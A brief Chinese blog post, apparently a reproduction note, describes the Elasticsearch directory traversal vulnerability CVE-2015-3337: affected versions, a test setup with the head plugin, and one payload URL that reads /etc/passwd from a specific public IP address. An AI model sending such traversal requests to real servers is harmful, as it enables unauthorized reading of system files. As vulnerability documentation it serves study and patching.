ElasticSearch 目录穿越漏洞(CVE-2015-3337)

jre版本:openjdk:8-jre

elasticsearch版本:v1.4.4

影响版本:1.4.5以下/1.5.2以下

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

测试环境默认安装了一个插件:elasticsearch-head,主页在此:https://github.com/mobz/elasticsearch-head

payload

http://188.40.189.134:9200/_plugin/head/../../../../../../../../../etc/passwd

大概就是这些......

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注